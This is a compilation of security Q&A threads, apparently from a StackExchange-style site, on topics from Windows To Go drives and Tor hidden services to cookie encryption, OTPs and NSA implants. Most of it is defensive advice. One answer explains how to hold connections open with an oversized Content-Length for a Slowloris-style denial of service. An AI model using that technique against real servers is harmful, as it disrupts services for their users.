What is the difference between certified and non-certified drives for Windows To Go?

From the Windows Blog:

As well as being teased with a variety of PCs, Certified drives must:

Be built for high random read/write speeds and support the thousands of random access I/O operations per second required for running normal
Windows workloads smoothly.
Have been tuned to ensure they boot and run on hardware certified for use with either Windows 7 or Windows 8.
Be built to last. Certified drives are backed with manufacturer warranties and should continue operating under normal usage.

This means that:

They will have fast random reads and writes, and not just fast sequential reads. Normal drives generally have fast sequential reads/writes and agonizingly slow random small reads/writes.

They will have high durability, and have the ability to sustain large amount of reads and writes.


How to verify .plist and .kext files are legitimate? While scouring through tons of logs generated during an audit of a Mac filesystem after a potential malware infection, and I am wondering if there are any better ways to verify that all kernel extension (.kext) and property list (.plist) files are legitimate?

So far, I have just been doing cat auditlog.txt | grep -v com.apple so that I'm only looking at third party extensions. This filters out the vast majority of results, leaving only the files that aren't signed by Apple, but I have a feeling there is a better method.

The only good solution for recovering from a malware infection is to wipe the disk and reinstall the OS. If you have a backup that you are confident predates the infection, you can go back to that.

I know that you state that it's a potential malware infection, but if you have any doubts (which you obviously do as you asked this question), wipe the disk.


Can a malicious optical disc infect Ubuntu without user action? Assuming that a malign user has unlimited resources at his/her disposal to infect a computer running Ubuntu, but he/she is only limited in transferring the malware through an optical disc (CD, DVD, BD etc.). The computer is assumed to be malware free at any level of software and hardware, most importantly the optical disc drive firmware is not altered. If the computer user inserts the malicious disc in his optical drive, can the malware automatically activate without the user's interference?

P.S: In Windows, such infection methods are possible through Autorun, but in Ubuntu, even if auto-running software is enabled, the user gets prompted to execute it.

My best guess would be that the disc is carefully crafted (using typical optical disc burning methods) to exploit security holes in the optical drive firmware or the auto-running software of Ubuntu. So yes, having unlimited resources one can achieve what you are describing.


Risks of creating a user with no shell Are there any security risks when creating a user(s) with no shell, and no special privileges (using fairly strong passwords)?
Reasons

To redirect the attackers attention from "real" users (e.g. real user "smr", fake user "admin")
Secure logging of attempts to break into the system
Better distinguishable from login attempts to real accounts

Additional: How to notify an admin of "too many" suspicious attempts / what best to do?

It looks to me like a level of obscurity. In order to protect your admin account, the recommended way is to have a strong password, or even better an asymetric key on SSH. You can in addition provide a honey pot login named admin, but it does not add a lot of security, nor avoid logs examinations for real logins. IMHO, it would be mainly interesting if you were studying the behaviour of attackers, because no normal login attemps should occur on the honeypot.

As usually for obscurity, nothing is wrong if you do not rely on it but only see it as an additional protection level.


How secure is "Let's Encrypt"? I just configured and installed a free SSL certificate from Let's Encrypt. It's great, and very easy to set up.

However in this post-Snowden era, I was wondering how secure this really is. For instance the procedure never asks you to create a private key, instead they magically create one for you. That's great and all, but has anyone looked at how secure this really is?

Note: I've seen related questions like this. However that is about how secure the "process" is (against hacking) and is assuming the certificates are secure in itself. I'm more worried about about security of the certificate and the resulting encryption.

Try "acme-tiny"
There is an alternative "Let's encrypt"-client project called "acme-tiny".
It is less automated, but smaller. In their own words:

This is a tiny, auditable script that you can throw on your server to issue and renew Let's Encrypt certificates. Since it has to be run on your server and have access to your private Let's Encrypt account key, I tried to make it as tiny as possible (currently less than 200 lines). The only prerequisites are python and openssl.

Also: regular client in manual mode.
If you trust the general letsencrypt client, but only want to manually create the CSR, you can follow the steps outlined here:

Thomas Pircher, tty1.net, 2015-12-03, Using Let's Encrypt in manual mode (Archived here.)

And the heart of this idea is this line:
letsencrypt certonly \
    --authenticator manual \
    --server https://acme-v01.api.letsencrypt.org/directory --text \
    --email webmaster@example.com \
    --csr signreq.der


Does encrypting a key (stored in cookie) increase security? Scenario

Master key is entered upon login then encrypted with $server_key
Master key is now stored as $_COOKIE['encrypted_key'] variable for persistence (so user doesn't have to enter it every page load)
$server_key is stored inside a config file in the app server
Data is decrypted by first decrypting $_COOKIE['encrypted_key'] (using $server_key), therefore revealing Master key
$_COOKIE['encrypted_key'] is destroyed upon browser exit

Threat

Attacker gaining access to user device/cookie and encrypted data (but not the app server config files).

Question

Does it make sense to encrypt the Master key with $server_key and then store $server_key inside a config file in the app server?

Reasoning

Gaining just the $server_key or just the $_COOKIE['encrypted_key'] will not compromise anything. The attacker must get both.

Update

This is under HTTPS
Session hijacking would be hard as we check session fingerprint per request

Your threat model is incomplete. Here are some of the things you missed:

1) The master key and server key appear to be static values. This means the cookie value is constant and anyone that has the cookie value can replay it to the server to steal (spider) all the plaintext data for that user.

1a) Cookies gets stored in other locations too such as proxies.

2) If the server is compromised an attacker can brute force the master key space to decrypt the user data on a per user basis. The success chance of this depends entirely on the master key length and encryption algorithm.

3) A user can derive the server key. As they know the master key and can view the cookie they can brute force the server key offline. Again success factor is dependant upon key length and algorithm.

4) It's unclear if the service is being delivered over an encrypted of plain text connection. In the case of the latter both the master key and cookie value can be observed by an attacker on the same network. If the former the connection may be downgraded or other vulnerabilities may exist.

5) If the attacker hacks the server they can modify the login code to keep a copy of all master keys it receives. It is common for breaches to go unnoticed for months/years.


Content-Length based DoS I was trying this, on a website where I was allowed to carry out testing by the site administrator.  On failing to use two different headers (Site is beyond AWS and I am getting a 400), I tried the old way of using 2 different Content-Length headers.
Finally, I stick with one Content-Length header I added 1 to the length and added a character to the request body. Surprisingly this is getting processed for 2+ mins on all requests on this site and I am not sure what is happening.
To be technical, the ideal request is
POST /endpoint HTTP/1.1
Host: redacted
User-Agent: redacted
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 4

test

And if I modify it to
    POST /endpoint HTTP/1.1
    Host: redacted
    User-Agent: redacted
    Accept: application/json, text/plain, */*
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 5
    5

    test

it is processing for long time. I thought it might be a parsing bug, but it is happening for all requests on this site. Is this an issue?

Content-Length just says that "I'm going to send this much data in the following HTTP body." The server will sit and wait for you to in fact send that much in the HTTP body, so that it can process it for the request. This is the "parsing bug" you have found—the server is in fact waiting for data you never send.
The extra character you "added to the request body" is in fact not in the request body: it is instead a malformed HTTP header, which your particular server apparently is happy to ignore. HTTP headers are separated by newlines—a single empty line always separates the headers from the body.
You can use the feature you've discovered to keep a connection open as long as you like, sending an absurdly large Content-Length (although not too large—it's not implausible that advanced server software or an IDS reverse proxy might notice that and just preemptively cut you off) and then sending data in at a mere trickle to make the server not time out the connection—then you can keep many such connections open to mount a C10k problem-based DoS in the style of Slowloris or RUDY.
(For the record, I'm not sure what you expect will happen when you add 1 to the Content-Length and one character to the body: that will just, well, create another well-formed, normalised request with an extra character in its body.)


Defending against rogue access points Tools like Karma, and its offspring's, have the feature of becoming any AP that a client is probing for. Your client will naturally connect to this fake AP as it sees nothing wrong with it, thus potentially making your client try to authenticate to mailservers and so on, revealing your username and password.

Does anyone know of a good way of protecting one self against attacks where the attacker listens to SSID beacon requests, responds to all of these and claims to be one of them?

I have some ideas on how to potentially protect against this, but I wonder if there is anything out there already that will sufficiently protect against attacks like this.

This depends slightly on what type of wireless networks you're authenticating too.  If it's practicable to have the client only authenticate to the Corporate wireless network then you could use 802.1x and server certificate validation to ensure that the client is connecting to an authentic AP.

For home Access Points, the best bet would be to set-up WPA2-PSK authentication and then only connect to the encrypted network. Attacks like Karma are primarily targeted at open networks (e.g. coffee shop wi-fi)

Without that for unencrypted networks there's nothing that I'm aware of at the wireless layer that would guarantee that the AP you're connecting to is authentic (the only identifiers (SSID and BSSID) are spoofable).

So really at that point you need to head higher up the stack for an answer.  What I'd say for situations where you're connecting to hotspot networks or other general wireless networks is that the answer is to establish a VPN connection with validation of the servers authenticity (e.g. SSL certificate validation) as soon as the connection is established (and ideally with a security suite which prevents all outbound connections apart from over the VPN tunnel)


Why is there no smartphone OS-style app isolation on PC systems? Smartphones OSes like Android and iOS come with a lot of security features, one of the most useful to me being app isolation.

In my understanding, each app installed has a space reserved, and can only access its data.

This prevents a malicious app, or an app that gets exploited, from altering or giving away the data it isn't allowed to access.

As basically every program that accesses the Internet has flaws, why don't PC OSes provide this kind of protection ? And could one provide this without breaking compatibility with older programs ?

Windows 10 does exactly this. Windows 10 Universal Apps run in isolated mode, just as they would on a phone. However, Windows 10 does also allow regular Windows Applications to be installed. Microsoft created a more locked down OS, Windows RT, which only allowed Universal Apps to be installed, but it proved to be not particularly popular.


What is the role of leaf certificate private key In TLS handshake What is the role of leaf certificate's private key if this certificate is signed by the intermediate certificate's private key and  the certificate signature will only be validated using its public key.

See The First Few Milliseconds of an HTTPS Connection, by Jeff Moser.  Scroll down to the section, 'Trading Secrets'.  This section describes how the client encrypts the pre-master secret using the server's public key (i.e. the public key contained in the server's leaf certificate), and sends the encrypted public key to the server.  The server then has to decrypt this message.  This is done using the server's private key corresponding to the public key in the server's leaf certificate.


Is a VPN anonymous enough or do I also need to use TOR? Is an anonymous VPN (like frootvpn) all I need to remain anonymous online or do I also need to use TOR or take other measures?

In general I'd say you need to do more than just use a VPN.

What VPNs do:

VPNs solve a couple of fairly specific problems:

Your local ISP (Internet Service Provider) and network provider can see all your unencrypted traffic. This could be groups like your school, work place or whoever is running the WiFi[1] at your local cafe. A VPN encrypts all the data between you and the VPN end point so it solves this problem.
When you connect to a website they can see your IP address, often all the computers on a network will use NAT (Network Address Translation) to share a single public IP address. So if your laptop, PC and Mobile are all connected to your WiFi they will most likely share a single public IP address that could be used to track you[2]. When your trafic goes through a VPN the website will see the IP address of the VPN instead of your home[3].

What VPNs don't do:

While a VPN will encrypt your traffic and hide your IP address the main way people are tracked online today is through cookies in their web browser.

Companies like Google and Facebook will places a tracking token in your browser that is sent back and forward between you and them every time you view a page that has Google Ads or Facebook Like buttons.

Ways around this involve things like Private Browsing mode in Firefox, privacybadger, Do Not Track and tools like NoScript or just clearing your cookies and cache regularly.

However tools like that don't hide your IP Address or encrypt your traffic, so they can be complimented nicely by using a VPN.

How to browse anonymously

With a combination of a VPN and selection of privacy tools it's possible to remain repetitively anonymous[4] online.

However rolling your own solution is hard, and it's easy to make mistakes where a single mistake can undo all of your effort.

If you want serious anonymity online I highly recommend checking out Tails it's a pre-built Live Operating System bundled with everything you need.

[1] Or if someone malicious is monitoring the traffic on that WiFi or network.

[2] There are large database that map IP adresses to approximate physical locations.

[3] or whatever network your on at the moment.

[4] Here I'm thinking for average people not nation state actors like the NSA.


Oracle database privileges I have a 10.2.0.5.0 Oracle Database and a list of users who i need to grant some privileges to (Mainly to generate reports and so on).
I used impersonation, which means i created one Oracle user so that all application users access that Oracle user to be able to reach the data in my database. All privileges from here on should be specified for that oracle user only.

Two security questions related to the issue above:

Does granting REFERENCES privilege to the Oracle user pose any security threat on the data? Or is it a select (view-only) privilege? According to oracle " REFERENCES Enables a user to create a foreign key dependency on a table or materialized view.
The REFERENCES privilege on a parent table implicitly grants SELECT privilege on the parent table.
Can i set an encryption on my oracle database other than TDE (Transparent data encryption). According to my knowledge, TDE will serve as backup media security only and anyone accessing the DB from inside my network can still view/export clear data. The encryption I'm looking for has to render data incomprehensible if any attack succeeded to access the database (3-DES maybe?).

What threats are you concerned about? Being able to perform a SELECT is a security risk, if that user is not supposed to be authorized to view the data. You need to be more explicit in your question, and with yourself.

Other than that, you will need to get specific answers from Oracle professionals. For instance this site.


Can a DNS query source be spoofed? Will the DNS server reply to the spoofed address if you send a DNS request on behalf of it?

What I'm trying to ask isn't DNS spoofing but spoofing the source address.

It depends on what underlying protocol is in use.

As a general rule of thumb, network protocols that establish connections or use handshakes are immune to source address spoofing.  This is because if the source address is spoofed then a connection will never be successfully made (since the spoofed destination won't know how to respond), no connection will be established, and nothing more than an initial handshake packet will be sent.  For some examples:

IP does not use handshakes and is vulnerable to source spoofing
TCP (aka TCP/IP, which is built on top of IP) does use handshakes and is immune to source address spoofing
UDP is a connection-less protocol and is vulnerable to source address spoofing.

"Standard" DNS can use TCP/IP (h/t Patrick) or UDP.  Typically it defaults to UDP, which is connection-less and therefore vulnerable to source-address spoofing.  This means that if you send a spoofed UDP packet to a DNS server with a forged address, the DNS server should send the response to the spoofed source address, not you.

However, there are newer DNS "versions" rolling out that use different underlying protocols.  For instance DoH (DNS over HTTPS) uses HTTPS itself, which is built on top of TCP/IP.  Therefore you would not be able to spoof a source address to a DNS server using DoH, for the same reason why you can't spoof a source address for an HTTP server.  Similarly, whether or not the other new variants of DNS are vulnerable to such attacks depends on the underlying protocol used.


Is it important to use a slow hash in htpasswd? It's my understanding that the purpose of .htpasswd files is to restrict access to some files in the server filesystem. If an attacker gains access to it, he probably has access to everything else too, so it seems like there's little point in using a slow hash in this situation (would only increse the server load). However, I've just seen that Apache 2.4 introduced support for bcrypt in these files:

  *) htpasswd, htdbm: Add support for bcrypt algorithm (requires
       apr-util 1.5 or higher). PR 49288. [Stefan Fritsch]

The feature request does not offer any explanation about why using a simpler hash make "passwords stored in those hash functions vulnerable to cracking". Is this just "paranoia" or is there a good reason for using a stronger hash in this scenario?

There are two main reasons why the passwords in a .htpasswd file need secure password hashing:

Though an attacker who can read the .htpasswd file can probably read the other files in the directory, the password may also allow for write access. There are a number of situations where an attacker can read private files but not write to them; for instance, when the attacker just found a discarded hard disk or backup tape in a dumpster. Similarly, passwords may have a lifetime longer than the data that they protect: an old .htpasswd could contain a password which is still valid now, to access data files which did not exist at all then.
Password hashing does not ultimately protect the data, but the password itself. Passwords are sensitive data in their own right, because:

Users reuse passwords. A password for a user on a given server may be also valid on other systems where the user has an account. I am personally enough of a maniac to generate different random passwords for all servers on which I have accounts, but I know that most people don't do things that way.
Users don't make random passwords. In particular, when forced to change their passwords (as is unfortunately mandated on a regular basis by poorly thought out policies), users rely on sequences: if their current password is Lilongwe37, then chances are that their next password will be Lilongwe38. There again, an old password, even after what looks like a "password reset", will be valuable to an attacker.

For these reasons, correct password hashing in .htpasswd files is important.


Few Questions About Tor Hidden Services According to this, when you connect to a hidden service using tor you go through 6 nodes instead of 3... why?
From what I understand when you connect to a website that is not a hidden service you connect to their IP, but it is shown as a domain name, but you can ping and find out there IP, can this be done with a hidden service on the tor network? Please explain why or why not.
If not, then their IP is hidden, so how is it possible to connect to them?
On torproject.org it is explained that there are 3 layers of encryption when connecting to clearnet, and when each is decrypted, it only shows the address of the next node, everyhting else is encrypted, except on the exit node, as long as you are not using SSL/TLS... Does this work the same way with a hidden service just with 6 hops instead of 3? I also know that no exit node is used when connecting to a hidden service on tor, and is therefore end to end encrypted. Why is there no exit node? And how is it end to end encrypted? How does the hidden service hoster remain anonymous?

A lot of questions, I know... I just like to be knowledgeable of what I am using... Answers greatly appreciated.

According to this, when you connect to a hidden service using tor you
  go through 6 nodes instead of 3... why?

To hide the hidden service IP address in case the rendezvous point is under adversary control.

The hidden service communicates with Tor client through a chosen node, which is called rendezvous point (RP). Normally they both build a standard Tor circuit of three hops to this node. If RP is controlled by an adversary, and hidden service communicates to RP directly, without intermediate TOR nodes, this communication would reveal its IP address to RP. Communicating through other Tor nodes helps protecting it.

A new Tor version has a setting which allows the hidden services, which do not need or don't care to hide their IP address, to communicate to RP directly.

I suggest this article, which explains how hidden services work.

  From what I understand when you connect to a website that is not a
  hidden service you connect to their IP, but it is shown as a domain
  name, but you can ping and find out there IP, can this be done with a
  hidden service on the tor network? Please explain why or why not.

The answer is no, it cannot be done for Tor hidden service, because the system works very differently. Notably Tor does not use nor needs DNS for resolving domain names; Tor "hidden service" name is essentially a fingerprint of the hidden service private key (80 bits of its private key hash, encoded via BASE32 to be specific). Thus it is not possible to resolve it to an IP address, and therefore to ping it.

Note that hidden services might be deployed without IP address at all; while a machine running Tor would have an IP address, the hidden service itself might only listen on HiddenServicePort and thus be not available without Tor at all.

  If not, then their IP is hidden, so how is it possible to connect to
  them?

Tor network uses different mechanisms, as stated in the article mentioned above.

  On torproject.org it is explained that there are 3 layers of
  encryption when connecting to clearnet, and when each is decrypted, it
  only shows the address of the next node, everyhting else is encrypted,
  except on the exit node, as long as you are not using SSL/TLS... Does
  this work the same way with a hidden service just with 6 hops instead
  of 3?

Yes. This is different case from communicating with a server on Internet. Because your Tor node can verify the authenticity of the hidden service private key (by using the hash from its .onion name), it is possible to securely encrypt the information end-to-end. Notably the rendezvous point does NOT see any content passing from or to the hidden service.

  I also know that no exit node is used when connecting to a hidden
  service on tor, and is therefore end to end encrypted. Why is there no
  exit node?

Because the traffic does not exit Tor network (i.e. into regular Internet), thus there is no need for an exit node.

  And how is it end to end encrypted? How does the hidden service hoster
  remain anonymous?

As far as I know (but not 100% sure), the end-to-end encryption after rendezvous is the same as with Tor circuit (i.e. Tor talking to the exit node).

See above regarding anonymous.


Is it dangerous to show all the JavaScript functions in my web application? Right now I'm developing a web application and it uses a lot of JavaScript functions so I'm putting all of them in different JS files to access from the HTML, but the functions are "easy readable" so the atacker knows what is going on with the application.

My question is, Is it dangerous that the attacker knows all the JavaScript functions and all the CSS styles (effects) ? If this is true, is there a good solution for this?

I know that I can minify the JavaScript but anyway this will only make the hacker angry...

To state it more directly:

  Is it dangerous that the attacker knows all the JavaScript functions and all the CSS styles (effects) ?

No, it is not inherently dangerous for an attacker to see JS and CSS. After all, the attacker or any other client must be able to see these files in order for the application to work at all!

It is your job to design your application so that an attacker who has complete access to the HTML, CSS, and Javascript code still will not be able to execute an attack (whether an attack on the server, or a "client-side" exploit like cross-site request forgery). Easier said than done, of course, but that is the goal.

Actually, good security would mean designing your app so that an attacker who has complete (read-only) access to the HTML, CSS, JS, the server-side scripts, the web server's source code, and the system's configuration still could not pull off an attack. Attackers can, in general, get access to all these things. But in practice, you can take measures to hide the server-side configuration and source code, and it will slow down someone who is not sufficiently determined. You cannot hide the HTML/CSS/JS and still expect the web application to work.


Which SPF quantifier applies when an SPF include is used? An SPF record has several tags of which one can be the include tag, and the SPF record ends with a quantifier like +, ?, ~ or -.

When an include tag is used, the included SPF record has it’s own SPF quantifier. Let’s call the quantifier from the included SPF record “child-quantifier”.

Does that “child-quantifier” apply on the hosts it defines only and the “parent-quantifier” on everything but the child-defined hosts? Or does the parent-quantifier always overrule all included (child-)quantifiers?

For example:

example1.com (let’s say parent) contains the following SPF record:
v=spf1 a include:example2.com -all
example2.com (let’s say child) contains the following SPF record: v=spf1 a ip4:1.2.3.4 ?all

Now does the ?all (child-)quantifier or the -all (parent-)quantifier apply on ip4:1.2.3.4?

The included SPF record might also have includes, and so it can reach a depth of multiple levels on which my question also applies.

With the include mechanism the "included" SPF statement is not literally included in the original one but only the result of it is used. From section 5.2 of RFC 7208:

  In hindsight, the name "include" was poorly chosen.  Only the
     evaluated result of the referenced SPF record is used, rather than
     literally including the mechanisms of the referenced record in the
     first.  For example, evaluating a "-all" directive in the referenced
     record does not terminate the overall processing and does not
     necessarily result in an overall "fail".

This means, that the result of the "included" SPF statement is treated as a match, not match or permerror similar to every other SPF statement.
The standard even explicitly contains a table how the result of the "included" SPF statement affects the main statement:

+---------------------------------+---------------------------------+
| A recursive check_host() result | Causes the "include" mechanism  |
| of:                             | to:                             |
+---------------------------------+---------------------------------+
| pass                            | match                           |
|                                 |                                 |
| fail                            | not match                       |
|                                 |                                 |
| softfail                        | not match                       |
|                                 |                                 |
| neutral                         | not match                       |
|                                 |                                 |
| temperror                       | return temperror                |
|                                 |                                 |
| permerror                       | return permerror                |
|                                 |                                 |
| none                            | return permerror                |
+---------------------------------+---------------------------------+


Will encrypted files on a volume still be encrypted when uploaded to a cloud service? If I encrypt some files in a folder using EFS, and then I upload such files to a cloud service, will they be encrypted on the cloud?

While the logical answer seems to be yes, I think in reality the answer must be no: because when I upload I am logged-in in the system, where these files are manipulated in a decrypted form...

Here's what I know: when you use EFS, which is what I'd like to do since I only use Windows, the encryption is "transparent" to the user. Files always appear decrypted because I am logged in in the system. My question is: if I use, for example, the Dropbox or the Mega cloud services and upload such files (with their app or through the browser), wouldn't the file be uploaded in a decrypted form, since I am logged in the system? Doesn't EFS only protect files locally?

I think this would work only if I uploaded such files from a different system or account where they appear as encrypted. Am I correct? Or totally misunderstanding how this works?

Yet if I use something like VeraCrypt I am back to square one because such files are encrypted only when inside their container. Once they are copied elsewhere, be it the temp working folder of my cloud sync app or just in the ram, they are decrypted and thus uploaded in such form. Is this also correct?

See, my purpose is to encrypt my local mail folder and then upload it to a backup service. It's a big archive and it's not feasible nor good practice to compress it in an encrypted archive because such archive takes days to upload on my normal second-world home connection, and my could sync service cannot just upload the little chunks of it that need to be updated.

In most of the EFS solutions, the file is unencrypted before going to the memory, meaning that if you upload a file to a cloud platform, it will be decrypted in your computer's memory before being uploaded on the website.

What you may do is create an folder in your computer mapped to the DropBox folder you want to use. Then you use a solution such Veracrypt to create an encrypted volume inside the dropbox folder (which is mapped in your computer). In this way, the dropbox will see only a large encrypted file, while you will be able to decrypt it from your computer.


Why is my computer making requests to my Roku about spotify? I'm new to inspecting packets with Wireshark so this might be something very stupid on my part. That said, I don't really understand the transaction between my computer and my Roku.

17  1.129097    192.168.1.70    192.168.1.64    HTTP    248 GET /dial/com.spotify.Spotify.TVv2 HTTP/1.1

My computer is 70 and my Roku is 64.

This is the entire HTTP follow:

Client

GET /dial/com.spotify.Spotify.TVv2 HTTP/1.1
Connection: keep-alive
Accept-Encoding: gzip
Keep-Alive: 0
Host: 192.168.1.64:8060
User-Agent: Spotify/109800078 OSX/0 (iMac18,1)

Server

HTTP/1.1 404 Not Found
Server: Roku UPnP/1.0 MiniUPnPd/1.4
Content-Length: 0

I don't have anything related to Roku installed on my computer but I do have Spotify running.

It appears to be a feature called Spotify Connect. Spotify allows you to play music from you phone or computer using your Roku or smart TV, as most people will likely have better sound systems for their TVs than for their computer.

Presumably your Spotify desktop app is automatically scanning your LAN and querying compatible devices to be able to offer this feature. In your case it looks like you have a compatible Roku, but the app isn't installed on it, so it returns a 404.


Keylogger web application protection I'm trying to improve security in a web application. The application has an admin site and keyloggers are a concern that I'm trying to solve. Can the application do something that can prevent keyloggers from working correctly? I've read about Keystroke interference software (for each user keystroke they randomly add more keystrokes not interfering with user input), can something like that be done in javascript?

Many applications make futile attempt to foil keyloggers and spyware by using convoluted (and cumbersome) password entry methods. None work against keyloggers and many actually cause users to be LESS secure because they make it hard to use password managers.

The best way to handle that kind of things is to use one-time passwords. There are several ways to go about it so let me suggest two: TOTP (RFC 6238) works with many software authenticators (Google authenticator, for instance) so it's both convenient, cheap to implement and free to use. It does require the user to set things up and have a smartphone, though.

Another approach it to send a one time password through SMS. This is a bit more expensive (because you have to send the message) but it's also easier for the user (who only needs a mobile phone and no setup).


How to verify OTP codes offline? I have a use case to generate one time codes, and need to, in some cases, verify them offline. A use case:
On arriving at customers door, the delivery agent needs to verify that they dropped off a letter. Before arriving, they send out a SMS to the client with a code. The delivery agents needs to type in the code to verify that the code is valid. Sometimes the agent doesn't have internet connection nor service on their phone. So they need a way to scan the code and verify it locally.
My first solution would be to have a private key which hashes a code. The private key has to be on the drivers phone as well, so they can decrypt the code offline and therefore mark it as "checked".
Is there a better way of validating hashes/codes offline if the backend is not reachable?

You are trying to take something which is inherently online (sending and verifying an SMS OTP code) and make it offline. This is possible, but it will require great thought to do it correctly, and the approach you take will depend on your requirements (ie your question does not contain enough details to decide which is the best solution).
I think the first step is for you to examine security properties that a traditional online OTP system provides, and decide which are important for you to preserve in your offline system. Once you have this list of requirements laid out, the set of viable solutions will likely become obvious.

I am not intending to provide a complete list of security properties that OTP gives -- I leave that as an exercise for the reader -- but here are some ideas to get you started:

Uniqueness: Each SMS OTP code is unique and the client must provide the one sent to them (ie if the system currently has 1,000 active OTPs, then your offline system needs to only accept the one sent to this client and reject the other 999).
Lifetime / expiry: SMS OTP codes typically expire after 15 minutes. You will likely want your offline system to reject codes older than 15 mins (or whatever time period is appropriate for your offline use-case).
One-time use: As the name implies, OTPs are intended to be one-time use, ie you can only use them once. If this is a required property of your offline system, then you will have a significant engineering problem ahead of you.

Solution for "one-time" problem.
I don't know exactly your design requirements, but a solution that might satisfy the "one-time" property might look something like this:

Before leaving WiFi, the delivery driver indicates which customer they are delivering for and the time they expect to make the delivery,
The OTP server generates an OTP for that customer and gives the OTP code to the driver's app.
15 minutes / 30 minutes / 1 hour / whatever before the expected delivery time, the system sends that code to the customer via SMS. (you will likely need to make the lifetime of this code long enough to account for variance in delivery times, for example maybe 24 hours is not unreasonable here). At this point the server no longer needs to know the OTP code and could delete it from the server's DB.
When the driver enters / scans the customer's code, their local offline app records that code as USED and will not accept it again.
Since the OTP server generated this OTP for offline use, the server will not accept it directly, and it will not give that OTP code to any other driver's app (it will generate a new OTP if a new driver takes over that delivery). This way that OTP code will only work against the intended driver's app, and only once.


Does the glibc getaddrinfo vulnerability affect Windows systems? Recently Google discovered the "glibc getaddrinfo" vulnerability (CVE-2015-7547).

Does this vulnerability affect Windows systems at all? I think it might because I'm not sure that glibc is a Linux-only piece of software. It might be able to be part of a Windows software or it might run emulated on Windows (Cygwin?!). I have searched for "glibc windows" but the search results are inconclusive to me.

Is this concern valid at all?

If you are using a vulnerable version of glibc in windows, then yes. It is vulnerable. Of course glibc is not commonly used in the windows environment.


How to securely store passwords for an online team based password manager? I want to create a secure online team based password manager?

The idea is that I want to be able to share passwords with other people on the team, in a secure way, such that if the entire database is compromised, the hacker will still not be able to access the data. Remember this process needs to be reversible, so hashing is obviously not a solution.

In a single-user system, the solution is obviously encryption with a master password, that is memorised by the user (i.e. not stored in the database)

In a team situation we could have a master password that all users in a team know. This is used to encrypt/ decrypt the stored passwords.

The problem is that it requires all teams to remember the same password. This is a problem if a user is a member of 5 different teams, he/she will need to remember 5 master passwords!

Are there any better alternatives?

An easy apporach would be that you could store the Passwords as PGP Encrypted messages where every member of the defined group is considered a recipient (for example GPG Keychain on Mac adds your on key as recipient per default so you can decrypt already encrypted messages to others).

So one user wants to add a password he encrypts it with pub-keys of his teammates and all can decrypt it with their private keys. still if the DB gets hacked nobody can decrypt it without the private keys of the team members.

If you store your Private Keys properly this could be a relatively safe alternative


Privilege Escalation On Shared Server I recently did a ca  /etc/passwd

And it revealed many accounts and their respective directories.
Is my shared server secure? Does this tell anything?

Can a good hacker access my directory from their shared hosting folder on the same server as me?

/etc/passwd is always world-readable; without it you can't do things like map ownership on files (which only have user and group IDs) to the names of those users / groups. By design, multiple users on a single *nix (or Windows) box can tell who else has an account, and where its profile directory is (not that this is usually at all hard to guess), but not much else. In the classic use of a shared server (providing resources for a corporate or academic department, or similar), knowing other peoples' user names is not really a risk.

Virtualization is easy enough these days that it's kind of weird your hosting service is putting multiple tenants on the same logical machine. It probably means you could (at a minimum) do a partial denial-of-service attack against the other tenants by consuming excessive CPU, RAM, and I/O time (although careful sandboxing can mitigate this). It also might reveal some detail about who your other tenants are, which you otherwise presumably wouldn't know.

As for accessing your directory, the answer is most likely no if the host is keeping the machine up to date. Local privilege escalation bugs are found reasonably often, and usually patched immediately, but if the sysadmin is less that fully vigilant there may be an opportunity between publishing the vuln and it getting patched where it could be abused. With that said, do check the permissions on your home directory - it should be 0700 (full access to you, none to anybody else) - because some poorly-designed *nix systems (coughUbuntucoughOS Xcough) make your home directory world-readable-and-traversable by default. Some programs (OpenSSH, for example) specifically make their files available only to the user, but others (bash in things like .bash_history) are world-readable if the user's home directory is traversable.


How Is It Possible For Hackers To "Dig Up The Dirt" On People? Like the title says, I was wondering how its possible for hackers to "dig up the dirt" and get peoples personal information such as address, credit cards, bank accounts, social insurance number, etc? I would also like to know if there is anyway to protect yourself from this? I also would like to note that I am asking how this is possible and I am NOT asking this so I can do it.

They can gain access to such information through a combination of techniques.

First of all, they can easily do online searches about a person. You will be surprised how much information can be glimpsed about a person just from his Facebook, Twitter or other social networking sites. Google, and other dedicated "people-finder" search engines like Pipl can divulge plenty of information.

After that, using the information they have gotten about you online, they could use a variety of social engineering attacks such as sending you an email impersonating a trusted person to get you to click on a link that downloads malware such as keyloggers into your computer or brings you to a phishing website to trick you to entering sensitive information.

If the computer you are using have any vulnerabilities, an attacker might be able to exploit it to gain access into your system, and dig up any sensitive data you have stored in it.

The only way to protect yourself from such attacks is to be vigilant. Modify the privacy settings on the social networking sites you do use - you will be surprised how bad the default settings are. Be careful about clicking links from email, even if they appear to be from trusted people. Use an encryption scheme like PGP to verify the email if needed. Encrypt the data on your hard drives if it is really sensitive.

The best defense is just to be careful.


In what situations are web services required to protect confidentiality of user information? I know that if a web application needs to be PCI-DSS or HIPAA compliant the user personal identifiable information (e.g. user password, etc) needs to be kept confidential.

Under what other situations would the web application/system be required to protect user personal identifiable information?

The answer is highly jurisdiction-dependent, but here's the general outline of the answers in the US:

If you promise to protect the confidentiality of user information (e.g., in a privacy policy), you must do so.  Failing to live up to your promises may be viewed as unfair or deceptive trade practices, and the FTC has jurisdiction to prosecute companies who do so.
If you have signed a contract promising confidentiality, you must do whatever you promised to do in your contract.
In the US, if you manage data for video rental subscribers, you may be required to protect confidentiality.  The US has special laws governing privacy for video rentals, following the Bork incident.
If you manage student data or are a government agency, you may be required to protect the confidentiality of user data.

In many other cases, there is likely to be no legal requirement to protect the confidentiality of user data.  However, it's probably still the right thing to do.

In Europe, the answers are likely to be very different, as Europe has strong data protection laws that do not have any analogue in US law.


How can NSA implants and backdoors be detected? It has been a while now since the Snowden revelations of various NSA malware and backdoors. For instance:

March 12, 2014: NSA has developed implants to take over targeted computers’ microphones and webcams, record keystrokes and internet browsing histories, and save data from removable flash drives connected to targeted computers. These implants often enable NSA to circumvent encryption software.
December 30, 2013: NSA has developed a keystroke logger that functions even when the target computer is not connected to the internet.
December 29, 2013: NSA prefers to install malware in BIOS, rather than on hard drives.

Also, the NSA has already installed malware on probably millions of computers (is.gd/dCpQgE) (and hundreds of thousands almost certainly (is.gd/QQ4RRI)).
Given the prevalence of this malware, and that most antivirus companies refused to state whether they have worked with government agencies to whitelist certain malware, how can NSA implants and backdoors be detected?

